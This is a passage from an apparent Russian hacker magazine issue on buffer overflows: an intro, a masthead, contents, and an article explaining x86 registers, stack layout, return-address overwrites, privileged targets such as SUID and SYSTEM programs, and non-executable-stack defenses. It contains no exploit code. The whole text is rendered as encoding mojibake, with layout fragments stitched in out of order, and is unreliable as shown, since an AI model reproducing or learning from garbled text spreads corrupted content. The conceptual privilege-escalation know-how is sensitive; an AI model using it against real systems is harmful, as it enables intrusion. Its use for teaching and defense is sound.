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INTRO

Ó êàæäîãî èç íàñ â æèçíè êîãäà-òî íàñòóïàåò ìîìåíò,
êîãäà õî÷åòñÿ âûðâàòüñÿ èç çàìêíóòîãî êðóãà ïîâñåäíåâíîñ-
òè, õî÷åòñÿ ñäåëàòü ÷òî-òî ãðàíäèîçíîå... Ïåðåñòàòü ïîêîðíî
ñëóøàòü ñèñòåìó è íà÷àòü äèêòîâàòü åé ñâîè ïðàâèëà. Â æèç-
íè êàæäîãî íà÷èíàþùåãî êîìïüþòåðíîãî èññëëåäîâàòåëÿ
(íàçûâàé åãî õàêåðîì èëè åùå êàê óãîäíî - ñìûñëà ýòî íå ìå-

íÿåò) ðàíî èëè ïîçäíî íàñòóïàåò òàêîé ìîìåíò, êîãäà ïðîïàäà-
åò âñÿêîå æåëàíèå ïðîñòî áðàòü ÷óæèå ýêñïëîèòû íà äàâíî ïðî-

ïàò÷åííûå áàãè èëè ïëàòèòü îãðîìíûå ñóììû çà 20 ñòðî÷åê êîäà.
È òóò åñòü äâà ïóòè: èëè òû îïóñêàåøü ðóêè, ïîíèìàÿ, ÷òî ýòî íå äëÿ

òåáÿ, èëè æå òû ñòàíîâèøüñÿ íà ïóòü ïîçíàíèÿ èñòèíû. Åñëè òû âûáðàë
ïåðâûé âàðèàíò, ìîæåøü ñìåëî çàêðûâàòü æóðíàë è áëèæàéøèå íåñêîëü-

êî ëåò çàíèìàòüñÿ îáäóìûâàíèåì òîãî, ðàäè ÷åãî òû, ñîáñòâåííî, æèâåøü, ïðè
ýòîì ïàðàëëåëüíî ðàáîòàÿ «ãäå-òî» è çàíèìàÿñü «÷åì-òî»� Åñëè æå òû âûáðàë äðó-

ãîé ïóòü, áóäü ãîòîâ ê òîìó, ÷òî òåáå ïðèäåòñÿ âûëîæèòüñÿ ïî ìàêñèìóìó. Ýòîò ïóòü ïîëîí çàãàäîê è íåâå-
ðîÿòíûõ îòêðûòèé, ãîëîâîëîìîê è ïðîñòî áåññìûñëåííûõ òåðàáàéò ìåëî÷åé, êîòîðûå òåáå ìîãóò ïðèãîäèòü-
ñÿ. Âñå îíè âìåñòå ñîçäàþò ñèñòåìó, ñåðòèôèêàò äîñòóïà ê óçêèì êðóãàì ýëèòû, ÿäðó êîìïüþòåðíîãî àíäåã-
ðàóíäà. È ÷òîáû ñäåëàòü ýòîò ïóòü áîëåå ëåãêèì, ìû ñîçäàëè äëÿ òåáÿ ýòîò Ñïåö. Ìû çàäàëè òåáå íàïðàâëå-
íèå è ñîîáùèëè íà÷àëüíóþ ñêîðîñòü, íî ÷òî òåáå ñ íèìè äåëàòü, ðåøàé ñàì� Wake up Neo�
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» îïòîâîå ðàñïðîñòðàíåíèå
Àíäðåé Ñòåïàíîâ 
(andrey@gameland.ru)
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ðàñïðîñòðàíåíèå
Àíäðåé Íàñåäêèí
(nasedkin@gameland.ru)
» ïîäïèñêà
Àëåêñåé Ïîïîâ
(popov@gameland.ru)
» PR-ìåíåäæåð 
ßíà Ãóáàðü
(yana@gameland.ru)
òåë.:      (095) 935.70.34
ôàêñ:    (095) 924.96.94

PUBLISHING
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Ñåðãåé Ïîêðîâñêèé
(pokrovsky@real.xakep.ru)
» äèðåêòîð
Äìèòðèé Àãàðóíîâ 
(dmitri@gameland.ru)
» ôèíàíñîâûé äèðåêòîð
Áîðèñ Ñêâîðöîâ 
(boris@gameland.ru)
» òåõíè÷åñêèé äèðåêòîð
Ñåðãåé Ëÿíãå  
(serge@gameland.ru)

Äëÿ ïèñåì
101000, Ìîñêâà,
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Web-Site
http://www.xakep.ru
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ëÿ òîãî ÷òîáû ïîíÿòü âåñü ìå-
õàíèçì àòàê íà ïåðåïîëíåíèå
áóôåðà, òû äîëæåí êðàòêî îç-
íàêîìèòüñÿ ñ îñíîâíûìè
ïðèíöèïàìè àðõèòåêòóðû ïðî-

öåññîðîâ õ86. Âñå êàìíè ñ ïðîãðàììíîé àð-
õèòåêòóðîé õ86 èìåþò íåñêîëüêî ðåãèñòðîâ ñ
îïðåäåëåííûìè íàçâàíèÿìè è çíà÷åíèÿìè.

Òàê, íàïðèìåð, ðåãèñòð EAX ïðèìåíÿåòñÿ
äëÿ ïîëüçîâàòåëüñêèõ äàííûõ, ðåãèñòð ECX
èñïîëüçóåòñÿ êàê ñ÷åò÷èê â öèêëàõ è ïîâòî-
ðÿþùèõñÿ îïåðàöèÿõ è ò.ä. Îñíîâíûå ðåãèñò-
ðû è èõ íàçíà÷åíèÿ áûëè óíàñëåäîâàíû îò
286-ãî ïðîöåññîðà, íî áûëà ðàñøèðåíà ðàç-
ðÿäíîñòü êàæäîãî ðåãèñòðà (äî 32 áèò) è â
íàçâàíèå äîáàâèëè áóêâó "E" (extended, â ïå-
ðåâîäå ñ àíãë. - ðàñøèðåííûé). Êðîìå áàçî-
âûõ, äîñòóïíûõ ïîëüçîâàòåëþ ðåãèñòðîâ, ñó-
ùåñòâóþò òàê íàçûâàåìûå ñèñòåìíûå ðåãèñò-
ðû. Çàïèñü â íèõ íàïðÿìóþ çàïðåùåíà, è îíè
èñïîëüçóþòñÿ äëÿ êîíòðîëÿ çà âûïîëíåíèåì
ïðîãðàììû. Ïðèìåðàìè òàêèõ ðåãèñòðîâ ìî-
ãóò ñëóæèòü EBP è ESP, èñïîëüçóþùèåñÿ â
îïåðàöèÿõ ñî ñòåêîì, EIP, ïðåäñòàâëÿþùèé
ñîáîé óêàçàòåëü íà èíñòðóêöèþ, êîòîðóþ
ïðîöåññîð áóäåò âûïîëíÿòü ñëåäóþùåé. È
åùå îäèí ðåãèñòð, î êîòîðîì òåáå æåëàòåëü-
íî çíàòü, - ðåãèñòð ôëàãîâ EFLAGS, ýòî, ïî
ñóòè, 32 áèòà, êîòîðûå èñïîëüçóþòñÿ êàê ïå-
ðåêëþ÷àòåëè-ôëàãè ïðè ðàáîòå ïðîöåññîðà. 

Òàê äåëà îáñòîÿò ñ ðåãèñòðàìè â ïðîöåññî-
ðå, íî äëÿ ïîíèìàíèÿ òåðìèíà "buffer over-
flow" íóæíî îçíàêîìèòüñÿ ñ ïîíÿòèåì ñòåêà.

ÑÒÅÊ È ÅÃÎ ÑÒÐÎÅÍÈÅ
Ñòåê ïðåäñòàâëÿåò ñîáîé íåïðåðûâíóþ

îáëàñòü ïàìÿòè, àäðåñàöèÿ íà êîòîðóþ ïðîèñ-
õîäèò ñ ïîìîùüþ ðåãèñòðîâ ESP (óêàçàòåëü
ñòåêà) è SS (óêàçàòåëü íà ñåãìåíò ñòåêà).
Èìåííî â ñòåêå õðàíèòñÿ òîò çàãàäî÷íûé áó-
ôåð, ïåðåïîëíåíèå êîòîðîãî òàê ïóãàåò âñåõ
ðàçðàáîò÷èêîâ ÏÎ. Ðàñïîëîæåíèå áóôåðà
âíóòðè ñòåêà òàèò â ñåáå îãðîìíóþ îïàñíîñòü:
êîìïèëÿòîð ïîìåùàåò áóôåð ïåðåìåííîé â
ñòåê, à äî ýòîãî, ÷óòü ðàíüøå, çàïèñûâàåòñÿ
àäðåñ âîçâðàòà èç ïðîöåäóðû. Ñòðóêòóðó
ñòåêà ìîæíî ïîñìîòðåòü íà ñêðèíå.

Íî òàêîé ðàñêëàä íåñåò òîëüêî ïîëáåäû:
ñòåê ðàáîòàåò ñ äàííûìè ïî ïðèíöèïó "ïåð-
âûì ïðèøåë, ïîñëåäíèì óøåë" (FILO). Òî
åñòü ýòî îáû÷íàÿ ïèðàìèäà: ÷òîáû äîáðàòüñÿ
äî ñàìîãî íèçà, íóæíî ðàçîáðàòü âñå ñòðîå-
íèå - ÷òîáû âçÿòü äàííûå, ïîëîæåííûå â
ñòåê ïåðâûìè, íóæíî âûíóòü âñþ èíôîðìà-

öèþ èç ñòåêà. Íà ÿçûêå êîìàíä ïðîöåññîðà
ýòè îïåðàöèè íîñÿò íàçâàíèÿ PUSH ("çàïè-
õàòü") è POP ("äîñòàòü"). Èìåííî ñ ïîìîùüþ
òàêèõ îïåðàíäîâ ïðîèñõîäèò âñÿ îñíîâíàÿ
ðàáîòà ñ ñîäåðæèìûì ñòåêà. 

Òàêæå òåáå íåîáõîäèìî çíàòü, ÷òî òàêîå áó-
ôåð è ïî÷åìó îí ðàñïîëàãàåòñÿ â ñòåêå.

Ïðåäñòàâèì ñåáå ïðîñòóþ ïðîãðàììó,
íàïèñàííóþ íà C, â êîòîðîé èñïîëüçóåòñÿ ïå-
ðåìåííàÿ, îáúÿâëåííàÿ êàê char buff[10];, òî
åñòü ïåðåìåííàÿ buff èìååò ðàçìåð ñòðîãî â
10 áàéò, ÷òî ÿâíî îïðåäåëåíî ïðè åå îáúÿâ-
ëåíèè. Áîëüøå 10 áàéò äàííàÿ ïåðåìåííàÿ
ïðèíÿòü íå ñìîæåò, õîòÿ ìåíüøå - ïîæàëóéñ-
òà. È ïðîãðàììà, èìåþùàÿ òàê îáúÿâëåííóþ
ïåðåìåííóþ, áóäåò ðàáîòàòü äîëãî è ñòàáèëü-
íî äî òåõ ïîð, ïîêà â ïåðåìåííóþ buff áóäóò
ïîìåùàòüñÿ ñòðîêè äëèíîé íå áîëåå 10 ñèì-
âîëîâ. Íî ýòî â èäåàëå è ïðè óñëîâèè, ÷òî
ïðîãðàììà ðàáîòàåò â ïðàâèëüíûõ ðóêàõ ;-). À
÷òî ïðîèçîéäåò, åñëè ïîïûòàòüñÿ ïðèñâîèòü
ïåðåìåííîé buff ñòðîêó äëèíîé áîëåå 10 ñèì-
âîëîâ? À ïðîèçîéäåò ñàìîå èíòåðåñíîå!
Ïðåäñòàâèì, ÷òî ìû îòêîìïèëèðîâàëè ïðîã-

Ä

Ãîëîâèí Âèòàëèé àkà Vint (vint@glstar.ru)

Ó æå ìíîãî ëåò êîìïüþòåðíûé ìèð áîðåòñÿ ñ îäíîé èç ñàìûõ ñèëüíûõ àòàê,
âûçûâàþùèõ ïîâûøåíèå ïðèâèëåãèé êàê ëîêàëüíîãî, òàê è óäàëåííîãî

ïîëüçîâàòåëÿ, - buffer overflow.
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4 Ëîïíóòü êàê ìûëüíûé
ïóçûðü
Ïåðåïîëíåíèå áóôåðà: îñíîâíûå
èäåè è ïðèíöèïû

8 Çîîïàðê
ïåðåïîëíÿþùèõñÿ
áóôåðîâ 
Êëàññèôèêàöèÿ óÿçâèìîñòåé òèïà
buffer overflow

14 Ïèøåì shell-êîä!
Ïðèíöèïû ñîçäàíèÿ shell-êîäà è
ñâÿçàííûå ñ ýòèì ïðîáëåìû

18 �Íåóÿçâèìûõ ñèñòåì íå
ñóùåñòâóåò!�
Ìíåíèå ýêñïåðòîâ

Content:
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Ñòåê ïðîãðàììû

Êîä àòàêóþùåãî

- - - 
Àäðåñ âîçâðàòà

Canaryword

Ëîêàëüíàÿ 
ïåðåìåííàÿ

- - -

Ñòàðøèå àäðåñà

4 áàéòà

4 áàéòà

7 áàéò

16 áàéò

7 áàéò

Ìëàäøèå àäðåñà

Àäðåñ ïåðåäàâàåìîãî
ïàðàìåòðà

Àäðåñ âîçðàòà

Ñëóæåáíàÿ èíôîðìàöèÿ

(çàâèñèò îò êîìïèëÿòîðà)

Ëîêàëüíûé áóôåð

ôèêñèðîâàííîãî ðàçìåðà

Äðóãèå ëîêàëüíûå
ïåðåìåùåíèÿ Ñòåê �ðàñòåò�

ñþäà

Ðîñò 
ñòåêà

Óâåëè÷åíèå
ñòðîêè



ðàììó, ñîäåðæàùóþ òàêóþ ïåðåìåí-
íóþ, è íà÷àëè èññëåäîâàòü åå â îò-
ëàä÷èêå. Ñàìîå ãëàâíîå, íà ÷òî ñëåäó-
åò îáðàòèòü âíèìàíèå, - ýòî íà ñòåê è
íà åãî ñòðîåíèå â óÿçâèìîé ïðîãðàì-
ìå. Íà ñêðèíå òû ìîæåøü óâèäåòü
ñõåìó, ñîñòàâëåííóþ íà îñíîâå àíàëè-
çà èíôîðìàöèè îòëàä÷èêà.

×òîáû íå áûëî âîïðîñîâ, ïîñòàðàþñü
îáúÿñíèòü ýòó ñõåìó êàê ìîæíî ïîä-
ðîáíåå, òàê êàê èìåííî â íåé çàêëþ÷à-
åòñÿ îñíîâíàÿ èäåÿ àòàê òèïà ïåðåïîë-
íåíèå áóôåðà. Ìû âèäèì, ÷òî àäðåñ
âîçâðàòà èç ïðîöåäóðû, â êîòîðîé ïðî-
èñõîäèò îáúÿâëåíèå ïðîöåäóðû buff,
ëåæèò â îäíîì ñåãìåíòå ñ áóôåðîì ñà-
ìîé ïåðåìåííîé buff. ×òî íàì ýòî äàåò?
Íà ïåðâûé âçãëÿä, íè÷åãî îñîáåííîãî,
íî åñëè âñïîìíèòü, ÷òî ñòåê "ðàñòåò"
âíèç, òî åñòü èìååò èäåîëîãèþ FILO, òî
ñòàíîâèòñÿ î÷åâèäíîé ïîòåíöèàëüíàÿ
óÿçâèìîñòü: ïðè ïîïûòêå çàïèñè â ïå-
ðåìåííóþ buff áîëüøå 10 áàéò ïðîè-
çîéäåò çàòèðàíèå îáëàñòè ïàìÿòè, íè-
êàê íå îòíîñÿùåéñÿ ê äàííîé ïåðåìåí-
íîé! Ñíà÷àëà áóäåò çàòåðòà îáëàñòü
ñëóæåáíîé èíôîðìàöèè, à ïîòîì, åñëè
ïåðåäàòü äîñòàòî÷íî äëèííóþ ñòðîêó,
ïðîèçîéäåò ïåðåçàïèñü àäðåñà âîçâðà-
òà èç ïðîöåäóðû. Ïðè÷åì â êà÷åñòâå
àäðåñà âîçâðàòà áóäóò âûñòóïàòü íå
ñëó÷àéíûå àäðåñà, à ïåðâûå íåñêîëüêî
áàéò ñòðîêè, ïåðåïîëíèâøåé áóôåð.

À Â ÆÈÇÍÈ ÂÑÅ ÁÛÂÀÅÒ ÒÀÊ
Îòëè÷èòåëüíîé ÷åðòîé òàêèõ àòàê

ÿâëÿåòñÿ òî, ÷òî îíè íå èìåþò ïðèâÿç-
êè ê êàêîé-ëèáî ïëàòôîðìå. Óÿçâè-
ìîñòè ýòîãî òèïà íàõîäÿò è â Âèíäàõ,
è â Ëèíóêñå, è â Ôðèáñä è ìíîãèõ äðó-
ãèõ. Òåáå èíòåðåñíî, êàê ÎÑ îòðåàãè-
ðóåò íà òàêóþ îøèáêó â ïðîãðàììå,
åñëè îíà ïðîèçîøëà ñëó÷àéíî, à íå
ïîä äåéñòâèåì ýêñïëîèòà? Âñå î÷åíü
ïðîñòî: *nix-ñèñòåìû ïðè âîçíèêíîâå-
íèè òàêîé êðèòè÷åñêîé ñèòóàöèè âû-
ïîëíÿò àâàðèéíîå çàâåðøåíèå ïðîã-
ðàììû è âûäàäóò íà êîíñîëü ïðåäóï-
ðåæäåíèå, àíàëîãè÷íîå "Segmen-
tation fault, core dump" (êàê ãîâîðèòñÿ,
óïàë â êîðó). Ïåðåâîä ýòîãî âûñêàçû-
âàíèÿ ñèñòåìû ÷åãî-òî êîíêðåòíîãî íå
äàñò: îøèáêà ñåãìåíòàöèè, êóñîê ïà-
ìÿòè, âûçâàâøèé ñáîé, ñîõðàíåí íà
âèíòå. Îäíàêî ïîÿâëåíèå òàêîãî ñîîá-
ùåíèÿ âîâñå íå îçíà÷àåò, ÷òî ïðîè-
çîøëî èìåííî ïåðåïîëíåíèå áóôåðà,
ïîýòîìó ãîâîðèòü î ñòîïðîöåíòíîé
îøèáêå ïðîãðàììèñòîâ â ýòèõ ñëó÷à-
ÿõ, ïî ìåíüøåé ìåðå, ãëóïî ;-). Î÷åíü
÷àñòî *nix-ñèñòåìû "ñáðàñûâàþò äàìï
â êîðó" ïðè äðóãèõ îøèáêàõ, âîâñå íå
ñâÿçàííûõ ñ ïåðåïîëíåíèåì. Èíà÷å
äåëî îáñòîèò â ñðåäå ìåëêîìÿãêèõ.
Ïðè ïåðåïîëíåíèè áóôåðà â Windows
ïîëüçîâàòåëü ïîëó÷èò ñèñòåìíîå ïðå-
äóïðåæäåíèå è àâàðèéíóþ îñòàíîâêó
ïðîãðàìì. Íî ïðåäóïðåæäåíèå ÎÑ â
äàííîé ñèñòåìå áîëåå èíôîðìàòèâíî:
"The instruction at "0x31313131" refer-
enced memory at "0x31313131". The
memory could not be read". Êàê âè-
äèøü, âñå äîñòàòî÷íî ïîíÿòíî: ìû âè-
äèì ïîïûòêó ãëþ÷íîé ïðîãðàììû îá-
ðàòèòüñÿ ê çàïðåùåííîìó àäðåñó ïà-
ìÿòè. Ïî÷åìó àäðåñ èìåííî
0x31313131? Ïîòîìó ÷òî äëÿ âûçîâà ïå-
ðåïîëíåíèÿ áóôåðà íà âõîä áûëà ïî-
äàíà ñòðîêà èç 17 ñèìâîëîâ "A". Äîñ-

òàòî÷íî íåìíîãî ïîýêñïåðèìåíòèðî-
âàòü ñ íàéäåííûì ïåðåïîëíåíèåì, è
ýêñïëîèò áóäåò ñîçäàí. Â ïðîöåññå
èçó÷åíèÿ òàêîãî áàãà êàæäûé õàêåð
äîëæåí îïðåäåëèòü äëèíó ñòðîêè, êî-
òîðàÿ ñïîñîáíà ýôôåêòèâíî ïåðå-
ïîëíèòü áóôåð â ñòåêå, à òàêæå ïî-
äîáðàòü òàêîé êîíåö ýòîé ñòðîêè,
÷òîáû îí ññûëàëñÿ íà äðóãóþ ïðîöå-
äóðó, íàïèñàííóþ õàêåðîì. Îáû÷íî ñ
ïåðâûì ïàðàìåòðîì ïðîáëåì âîçíè-
êàåò íåìíîãî: âî ìíîãèõ ïðîãðàììàõ
èñïîëüçóþòñÿ ñòàíäàðòíûå çíà÷åíèÿ
äëèí áóôåðîâ, òàêèå, êàê 10, 100, 128,
256, 1000, 1024 è 10000. Äðóãèå çíà-
÷åíèÿ - áîëüøàÿ ðåäêîñòü, õîòÿ è
îíè âñòðå÷àþòñÿ, íî ïðîãðàììèñò
îáÿçàòåëüíî óäåëèò íåìàëîå âíèìà-
íèå çàùèòå òàêîãî áîëüøîãî áóôå-
ðà, òàê êàê â íåãî áóäåò ïåðåäàâàòü-
ñÿ ìàññèâ äàííûõ, êîòîðûé ïðè íåï-
ðàâèëüíîì êîïèðîâàíèè ïîâåñèò âñþ
ïðîãðàììó â îäèí ìîìåíò. Íåñêîëüêî
ñëîæíåå äåëî îáñòîèò ñ âûáîðîì
ïîñëåäíèõ áàéò ñòðîêè. Îíè áóäóò
ïðåäñòàâëÿòü ñîáîé àäðåñ âîçâðàòà,
è íà êàæäûé ñëó÷àé ïåðåïîëíåíèÿ
ïðèõîäèòñÿ ïîäáèðàòü íîâóþ ñòðîêó.
Ïåðåä òåì êàê ÿ îáúÿñíþ, ÷òî æå ýòî
çà àäðåñ, òû äîëæåí ïîíÿòü, êàêóþ
"ìàãè÷åñêóþ" ñèëó íåñóò ýòè íåñ-
êîëüêî áàéò.

ÃÄÅ ÈÑÏÎËÜÇÓÅÒÑß
ÏÅÐÅÏÎËÍÅÍÈÅ ÁÓÔÅÐÀ

Íàéòè îøèáêó ïåðåïîëíåíèÿ -
ýòî òîëüêî ÷àñòü ðàáîòû õàêåðà. Îñ-
íîâíàÿ æå çàäà÷à - íàïèñàòü ê íåé
ýêñïëîèò. Îáû÷íî ýêñïëîèòû èñ-
ïîëüçóþò ïåðåïîëíåíèå áóôåðà â
ïðèâèëåãèðîâàííûõ ïðîãðàììàõ,
÷òî â ðàìêàõ àðõèòåêòóð îçíà÷àåò
ñëåäóþùåå. Windows-ïðîãðàììà çà-
ïóñêàåòñÿ ñ ïðàâàìè "System" èëè
ðàáîòàåò â íóëåâîì êîëüöå çàùèòû.
Íóëåâîå êîëüöî çàùèòû - ýòî ðåæèì
ìàêñèìàëüíûõ ïðèâèëåãèé ïðîöåñ-
ñîðà; ÏÎ, êîòîðîå òàì ðàáîòàåò, - ÿä-
ðî îïåðàöèîííîé ñèñòåìû â Âèíäàõ,
íåêîòîðûå àíòèâèðóñû, èç-çà ÷åãî
îíè ñòðàøíî ãëþ÷àò (ïîäðîáíåå î
íóëåâîì êîëüöå çàùèòû ÷èòàé â
äðóãèõ ñòàòüÿõ ýòîãî íîìåðà). Êî-
íå÷íî, ñàìîé æåëàííîé öåëüþ õàêå-
ðà ÿâëÿåòñÿ îøèáêà â ñåðâèñå èç
íóëåâîãî êîëüöà, âåäü ýòè ïðîãðàì-
ìû ðàáîòàþò ñ ïðàâàìè "System",
÷òî ãîðàçäî âûøå ñòàíäàðòíîãî
"Àäìèíèñòðàòîðû". 

Â ñèñòåìàõ *nix âñå àíàëîãè÷íî, çà
èñêëþ÷åíèåì òîãî ÷òî ÿäðî ðàáîòàåò
íå â ring0. Ñòàðàþòñÿ íàéòè ïðîãðàì-
ìó, èìåþùóþ òàêóþ îøèáêó è ïðè
ýòîì ðàáîòàþùóþ ñ âûñîêèìè ïðèâè-
ëåãèÿìè, íàïðèìåð, çàïóùåííóþ îò
root-ïîëüçîâàòåëÿ. Èëè åùå îäèí âà-
ðèàíò - áàãè â ïðîãðàììàõ, ó êîòîðûõ
óñòàíîâëåí áèò SUID/SGID, à ñàìè
ôàéëû ïðèíàäëåæàò root'ó. Èìåííî
òàêèõ ïðîãðàìì î÷åíü ìíîãî, è ÷àñòî
îíè ïðèâîäÿò ê âçëîìó *nix. Êàê âè-
äèøü, ó ñèñòåì îòëè÷àþòñÿ òîëüêî öå-
ëè àòàêè, à ñàìè àòàêè ïðîõîäÿò ïî îä-
íîìó è òîìó æå ïðèíöèïó.
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Äîñòàòî÷íî
ïðàâèëüíî
ðàññ÷èòàòü
àäðåñ âîçâ-
ðàòà è óç-
íàòü äëèíó
ñòðîêè, ñïî-
ñîáíóþ ýô-
ôåêòèâíî
ïåðåïîë-
íèòü áóôåð,
è óÿçâè-
ìîñòü áóäåò
çàþçàíà.

Càìîé æåëàííîé öåëüþ õàêåðà ÿâëÿåòñÿ
îøèáêà â ñåðâèñå èç íóëåâîãî êîëüöà.

Ñòåê èìååò
èäåîëîãèþ
FILO, ÷òî
ïîçâîëÿåò
ïðîâîäèòü
àòàêè òèïà
ïåðåïîëíå-
íèå áóôåðà.

OF (Overflow Flag - ôëàã ïåðåïîëíåíèÿ),
ZF (Zero Flag - ôëàã íóëÿ),
SF (Sign Flag - ôëàã çíàêà),
CF (Carry Flag - ôëàã ïåðåíîñà),
PF (Parity Flag - ôëàã ÷åòíîñòè),
AF (Auxiliary Carry Flag - äîïîëíèòåëüíûé ôëàã ïåðåíîñà),
DF (Direction Flag - ôëàã íàïðàâëåíèÿ).

ÔËÀÃÈ Â ÏÐÎÖÅÑÑÎÐÀÕ ÀÐÕÈÒÅÊÒÓÐÛ Õ86

Ðåãèñòðû - ýòî îñîáûå ÿ÷åéêè ïàìÿòè, íàõîäÿùèåñÿ â ïðîöåññî-
ðå. Ñêîðîñòü ðàáîòû ñ íèìè îãðîìíà, ïîýòîìó èõ èñïîëüçóþò äëÿ
õðàíåíèÿ äàííûõ, ñ êîòîðûìè ïðîöåññîð ðàáîòàåò â äàííûé ìîìåíò.

ÐÅÃÈÑÒÐÛ



ÊÀÊ ÈÑÏÎËÜÇÓÞÒÑß 
ÁÐÅØÈ Â ÏÎ?

Ìû ïðîäîëæàåì íàøå èññëåäîâà-
íèå àòàê ïåðåïîëíåíèÿ áóôåðà. Ïîä-
ìåíà àäðåñà âîçâðàòà â ïðèâèëåãèðî-
âàííîé ïðîãðàììå ÿâëÿåòñÿ ñëåäñòâè-
åì óäà÷íîãî ïåðåïîëíåíèÿ áóôåðà.
Îáû÷íî íîâûé àäðåñ ñîäåðæèò ññûë-
êó íà ôóíêöèþ, êîòîðàÿ âûçûâàåò êî-
ìàíäíûé èíòåðïðåòàòîð (shell) ñèñòå-
ìû ñ âûñîêèìè ïðèâèëåãèÿìè. Äëÿ
Âèíäîâ âûçûâàåòñÿ íà âûïîëíåíèå
âñåì èçâåñòíàÿ cmd, à äëÿ *nix -
/bin/sh. Íà ýòîì ðàáîòà ýêñïëîèòà çà-
êîí÷åíà, îøèáêà ïåðåïîëíåíèÿ áóôå-
ðà áûëà èñïîëüçîâàíà. Äàëüíåéøèå
äåéñòâèÿ, êàê àòàêóþùåãî, òàê è ñèñ-
òåìû, óæå íå èìåþò îòíîøåíèÿ ê íà-
øåé òåìå.

ÒÅÎÐÈß ÀÒÀÊÈ
Ïåðåïîëíåíèå áóôåðà - îäíà èç

ñàìûõ êðèòè÷åñêèõ îøèáîê â ÏÎ. Õîòÿ
îíà ïîëíîñòüþ èçó÷åíà è äîêóìåíòè-
ðîâàíà, áàãòðàê-ñàéòû ñíîâà è ñíîâà
ïåñòðÿò ñîîáùåíèÿìè îá î÷åðåäíîì
buffer overflow. À ïðè÷èíà óñòîé÷è-
âîñòè ýòîé óÿçâèìîñòè êðîåòñÿ â ñà-
ìîé àðõèòåêòóðå ñèñòåìû. Ìîæíî ñìå-
ëî ãîâîðèòü î áîëüøîé âåðîÿòíîñòè
ïåðåïîëíåíèÿ áóôåðà, åñëè ñèñòåìà
îáëàäàåò ñëåäóþùèìè ïàðàìåòðàìè:

àäðåñ âîçâðàòà èç ôóíêöèè ïîìå-
ùàåòñÿ â ñòåê (àáñîëþòíî âñå ðàñïðî-
ñòðàíåííûå ÎÑ è êîìïèëÿòîðû);

ïàðàìåòðû ôóíêöèè ïåðåäàþòñÿ
÷åðåç ñòåê (âñå ÎÑ, à äëÿ Windows
ýòî - îñíîâíîé ñïîñîá ïåðåäà÷è ïàðà-
ìåòðîâ â API-ôóíêöèè);

ëîêàëüíûå ïåðåìåííûå ëåæàò â
ñòåêå (Windows- è *nix-êîìïèëÿòîðû
äåëàþò èìåííî òàê);

ñòåê èìååò èäåîëîãèþ FILO (òàê
óñòðîåíà ïëàòôîðìà õ86, à çíà÷èò
âñå ñèñòåìû, ðàáîòàþùèå íà äàííîé
àðõèòåêòóðå, èìåþò òàêîé òèï ñòåêà);

äàííûå ñòåêà ìîãóò áûòü êîìàíäà-
ìè (îäíà èç îñíîâ àðõèòåêòóðû õ86 -
åäèíîå àäðåñíîå ïðîñòðàíñòâî äëÿ
äàííûõ è êîäà);

èìåþòñÿ ïðîöåññû ñ âûñîêèìè
ïðèâèëåãèÿìè (ñïðàâåäëèâî äëÿ ëþ-
áîé ÎÑ; îäíà èç îñíîâ ðàçãðàíè÷åíèÿ
ïîëüçîâàòåëåé, áàçèñ ñåòåâûõ ÎÑ);

â ïðîãðàììàõ èñïîëüçóþòñÿ ôóíê-
öèè ñ îøèáêàìè ;-) (÷åëîâå÷åñêèé
ôàêòîð, ñðàáàòûâàåò ïîñòîÿííî, è íà-
õîäÿò âñå áîëüøå è áîëüøå áàæíûõ
ïðîã).

Âèäèøü, êàê âñå ñëîæíî? Ïåðåïîë-
íåíèå áóôåðà - ýòî îøèáêà, îò êîòî-
ðîé èçáàâèòüñÿ êðàéíå òðóäíî, ïîòî-
ìó ÷òî ãëàâíàÿ ïðè÷èíà êðîåòñÿ â îñ-
íîâàõ àðõèòåêòóðû õ86 è â áàçèñàõ

ðàçðàáîòêè ÎÑ. Íè òî íè äðóãîå ïåðå-
äåëàòü íèêòî óæå íå ñìîæåò. 

Òåïåðü, êîãäà òû, íàäåþñü, ïîíÿë
òåõíîëîãèþ òàêèõ àòàê, ïîãîâîðèì î
ïðàêòè÷åñêîé ñòîðîíå äàííîãî âîïðî-
ñà, âåäü, êàê èçâåñòíî, òåîðèÿ áåç
ïðàêòèêè ìåðòâà.

ÑÏÎÑÎÁÛ ÇÀÙÈÒÛ
Ó÷èòûâàÿ, ÷òî îñíîâà àòàê òàêîãî

òèïà êðîåòñÿ â ñàìîé èäåîëîãèè àðõè-
òåêòóðû õ86, ëåãêî ðåàëèçóåìûå çà-
ùèòû îòïàäàþò ñðàçó :-(. Íà äàííûé
ìîìåíò îñíîâíûì ñïîñîáîì çàùèòû
ÿâëÿåòñÿ ïîèñê è óñòðàíåíèå ÷åëîâå-
÷åñêèõ îøèáîê êàê â ÏÎ, òàê è â êîì-
ïèëÿòîðàõ. Íè÷åãî ïðèíöèïèàëüíî
äðóãîãî ïîêà íå ïðèäóìàëè. Õîòÿ
ïåðñïåêòèâíûå ðàçðàáîòêè èìåëè
ìåñòî: íåñêîëüêî ëåò íàçàä áûë âûïó-
ùåí ïàò÷ íà ÿäðî Linux, êîòîðûé çàï-
ðåùàë âûïîëíÿòü êîä â ñòåêå, ëèøàÿ
àòàêó îäíîãî èç êëþ÷åâûõ ìîìåíòîâ.
Îäíàêî ïðîåêò ýòîò ñêîðî çàãíóëñÿ ïî
ïðè÷èíå ñåðüåçíîãî óâëå÷åíèÿ íåñòà-
áèëüíîñòüþ ñèñòåìû â öåëîì. Ñåé÷àñ
ìû âèäèì íîâûå ïîïûòêè ðåàëèçî-
âàòü èäåþ çàïðåòà âûïîëíåíèÿ êîäà
èç îáëàñòè äàííûõ. Â íà÷àëå ýòîãî ãî-
äà ïðåäñòàâèòåëè AMD çàÿâèëè: "Ïðî-
öåññîðû Opteron è Athlon 64 ñïîñîá-
íû çàùèòèòü êîìïüþòåð îò èíòåðíåò-
àòàê îäíîãî èç ñàìûõ ðàñïðîñòðàíåí-
íûõ òèïîâ - ñîâåðøàåìûõ ïóòåì âûçî-
âà îøèáêè ïåðåïîëíåíèÿ áóôåðà. Êàê
è ïî÷òè âñå äðóãèå, ïðîöåññîðû AMD
ïðè ïåðåïîëíåíèè áóôåðà ïåðåäàþò
óïðàâëåíèå ìåõàíèçìó îáðàáîòêè èñê-
ëþ÷åíèé. Íî áëàãîäàðÿ ôóíêöèè
Execution Protection ïîñëå ýòîãî
Opteron è Athlon 64 ïðèíèìàþò äî-
ïîëíèòåëüíûå ìåðû: êîä, ïîñòóïàþ-
ùèé ïîñëå âûçîâà èñêëþ÷åíèÿ ïî ïå-
ðåïîëíåíèþ áóôåðà, ïîïðîñòó íå çà-
ïèñûâàåòñÿ â ïàìÿòü è íå èñïîëíÿåò-
